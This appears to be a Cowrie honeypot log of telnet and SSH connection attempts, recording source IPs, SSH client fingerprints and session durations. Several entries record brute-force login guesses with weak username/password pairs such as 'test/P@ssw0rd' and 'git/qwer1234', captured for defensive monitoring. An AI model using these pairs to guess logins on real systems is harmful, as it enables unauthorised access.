{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":39530,"dst_ip":"10.17.0.5","dst_port":23,"session":"4802f74b7b0a","protocol":"telnet","message":"New connection: 137.184.155.248:39530 (10.17.0.5:23) [session: 4802f74b7b0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:15.535093Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":56090,"dst_ip":"159.203.135.109","dst_port":23,"session":"13aa3014807d","protocol":"telnet","message":"New connection: 185.26.126.47:56090 (159.203.135.109:23) [session: 13aa3014807d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:21.672835Z"}
{"eventid":"cowrie.session.closed","duration":44.59896898269653,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:22.757432Z","src_ip":"137.184.155.248","session":"0f6fe0a8b742","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":53792,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2d22c228fe6","protocol":"telnet","message":"New connection: 137.184.155.248:53792 (10.17.0.5:23) [session: d2d22c228fe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:25.849203Z"}
{"eventid":"cowrie.session.closed","duration":48.59786510467529,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:26.180930Z","src_ip":"137.184.155.248","session":"a0bdef9601a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.36968684196472,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:29.151290Z","src_ip":"137.184.155.248","session":"93d98daa9722","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.852010011672974,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:29.267640Z","src_ip":"137.184.155.248","session":"b17f5dc5cffc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.134435415267944,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:32.027608Z","src_ip":"137.184.155.248","session":"7807008d0d8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.03453707695007,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:38.362952Z","src_ip":"137.184.155.248","session":"b709e7d99d07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":53054,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce13baaa246f","protocol":"telnet","message":"New connection: 137.184.155.248:53054 (10.17.0.5:23) [session: ce13baaa246f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:42.749860Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":8202,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c34d07fd904","protocol":"ssh","message":"New connection: 112.151.178.49:8202 (10.17.0.5:22) [session: 7c34d07fd904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:46.847733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:46.853130Z","src_ip":"112.151.178.49","session":"7c34d07fd904","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:47.064696Z","src_ip":"112.151.178.49","session":"7c34d07fd904","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"1qazxsw2","message":"login attempt [es/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:47.945715Z","src_ip":"112.151.178.49","session":"7c34d07fd904","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:49.160670Z","src_ip":"112.151.178.49","session":"7c34d07fd904","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":53062,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cb158e3fdcc","protocol":"telnet","message":"New connection: 137.184.155.248:53062 (10.17.0.5:23) [session: 0cb158e3fdcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:51.418245Z"}
{"eventid":"cowrie.session.closed","duration":40.61289739608765,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:55.074000Z","src_ip":"137.184.155.248","session":"84c1c832fa0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.57723832130432,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:47:59.632124Z","src_ip":"137.184.155.248","session":"01a1137f4c4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":42818,"dst_ip":"10.17.0.5","dst_port":23,"session":"613747f50621","protocol":"telnet","message":"New connection: 137.184.155.248:42818 (10.17.0.5:23) [session: 613747f50621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:01.870821Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":36670,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1567a1a753d","protocol":"telnet","message":"New connection: 137.184.155.248:36670 (10.17.0.5:23) [session: a1567a1a753d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:02.875677Z"}
{"eventid":"cowrie.session.closed","duration":49.45575976371765,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:04.990763Z","src_ip":"137.184.155.248","session":"4802f74b7b0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.268755197525024,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:06.117880Z","src_ip":"137.184.155.248","session":"d2d22c228fe6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.07822132110596,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:08.750937Z","src_ip":"185.26.126.47","session":"13aa3014807d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":36682,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d6bc8c6260c","protocol":"telnet","message":"New connection: 137.184.155.248:36682 (10.17.0.5:23) [session: 3d6bc8c6260c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:09.389333Z"}
{"eventid":"cowrie.session.closed","duration":5.276567697525024,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:14.665776Z","src_ip":"137.184.155.248","session":"3d6bc8c6260c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":53296,"dst_ip":"10.17.0.5","dst_port":22,"session":"20e908ebdc90","protocol":"ssh","message":"New connection: 58.186.20.101:53296 (10.17.0.5:22) [session: 20e908ebdc90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:16.076085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:16.082943Z","src_ip":"58.186.20.101","session":"20e908ebdc90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:16.345565Z","src_ip":"58.186.20.101","session":"20e908ebdc90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"dev","message":"login attempt [developer/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:17.449665Z","src_ip":"58.186.20.101","session":"20e908ebdc90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":37478,"dst_ip":"10.17.0.5","dst_port":23,"session":"a21d67814587","protocol":"telnet","message":"New connection: 137.184.155.248:37478 (10.17.0.5:23) [session: a21d67814587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:18.436516Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:18.722578Z","src_ip":"58.186.20.101","session":"20e908ebdc90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.62238430976868,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:27.372136Z","src_ip":"137.184.155.248","session":"ce13baaa246f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.82285213470459,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:31.240988Z","src_ip":"137.184.155.248","session":"0cb158e3fdcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":49155,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e32029a1794","protocol":"ssh","message":"New connection: 193.24.211.95:49155 (159.203.135.109:22) [session: 6e32029a1794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:33.325917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:33.333242Z","src_ip":"193.24.211.95","session":"6e32029a1794","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:33.457441Z","src_ip":"193.24.211.95","session":"6e32029a1794","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":37240,"dst_ip":"10.17.0.5","dst_port":23,"session":"02b905361ab5","protocol":"telnet","message":"New connection: 137.184.155.248:37240 (10.17.0.5:23) [session: 02b905361ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:33.576281Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"P@ssw0rd","message":"login attempt [test/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:33.885781Z","src_ip":"193.24.211.95","session":"6e32029a1794","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:34.997186Z","src_ip":"193.24.211.95","session":"6e32029a1794","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":57066,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc5ddc53c10f","protocol":"ssh","message":"New connection: 190.244.39.232:57066 (10.17.0.5:22) [session: cc5ddc53c10f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:37.379741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:37.386368Z","src_ip":"190.244.39.232","session":"cc5ddc53c10f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:37.587083Z","src_ip":"190.244.39.232","session":"cc5ddc53c10f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"qwer1234","message":"login attempt [git/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:38.395659Z","src_ip":"190.244.39.232","session":"cc5ddc53c10f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:39.601600Z","src_ip":"190.244.39.232","session":"cc5ddc53c10f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":32763,"dst_ip":"10.17.0.5","dst_port":22,"session":"93953271b736","protocol":"ssh","message":"New connection: 112.151.178.49:32763 (10.17.0.5:22) [session: 93953271b736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:42.580444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:42.585431Z","src_ip":"112.151.178.49","session":"93953271b736","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:42.797684Z","src_ip":"112.151.178.49","session":"93953271b736","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo2","password":"odoo2","message":"login attempt [odoo2/odoo2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:43.678253Z","src_ip":"112.151.178.49","session":"93953271b736","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":42922,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e3a01659f21","protocol":"telnet","message":"New connection: 137.184.155.248:42922 (10.17.0.5:23) [session: 6e3a01659f21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:44.157085Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:44.893026Z","src_ip":"112.151.178.49","session":"93953271b736","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.9820473194122314,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:50.139034Z","src_ip":"137.184.155.248","session":"6e3a01659f21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.844826459884644,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:52.715512Z","src_ip":"137.184.155.248","session":"613747f50621","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.52750563621521,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:54.403045Z","src_ip":"137.184.155.248","session":"a1567a1a753d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":39350,"dst_ip":"10.17.0.5","dst_port":23,"session":"e883158fafdc","protocol":"telnet","message":"New connection: 137.184.155.248:39350 (10.17.0.5:23) [session: e883158fafdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:48:56.814429Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.219.54.254","src_port":50964,"dst_ip":"10.17.0.5","dst_port":23,"session":"ece621a074b2","protocol":"telnet","message":"New connection: 189.219.54.254:50964 (10.17.0.5:23) [session: ece621a074b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:49:00.789229Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.219.54.254","src_port":50968,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ca1530e1041","protocol":"telnet","message":"New connection: 189.219.54.254:50968 (10.17.0.5:23) [session: 1ca1530e1041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:49:01.105421Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.219.54.254","src_port":50970,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b04c01c050c","protocol":"telnet","message":"New connection: 189.219.54.254:50970 (10.17.0.5:23) [session: 9b04c01c050c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:49:01.847251Z"}
{"eventid":"cowrie.session.closed","duration":46.46102523803711,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:49:04.897409Z","src_ip":"137.184.155.248","session":"a21d67814587","protocol":"telnet"}
